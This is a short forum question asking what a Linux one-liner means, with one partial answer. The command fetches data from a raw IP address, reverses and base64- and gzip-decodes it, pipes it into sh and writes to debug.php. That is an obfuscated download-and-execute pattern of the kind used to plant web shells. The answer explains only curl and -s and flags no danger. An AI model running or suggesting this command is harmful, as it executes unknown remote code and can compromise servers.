What does this line of command line in Linux mean?

Question

So I have this line of command line in Linux and I want to know what does this mean/do in details

"curl -s http://206.189.242.131/data | tac | base64 -d | gzip -d | sh > debug.php"

Thanks for help!

Answer 1

• -s is no error pop up,
  
  
• curl command: client url => doing a http request to fetch data from 206.189.242.131/data
  
  

for the rest idk, pipe essentially takes the output from previous command and gets used in the second "|"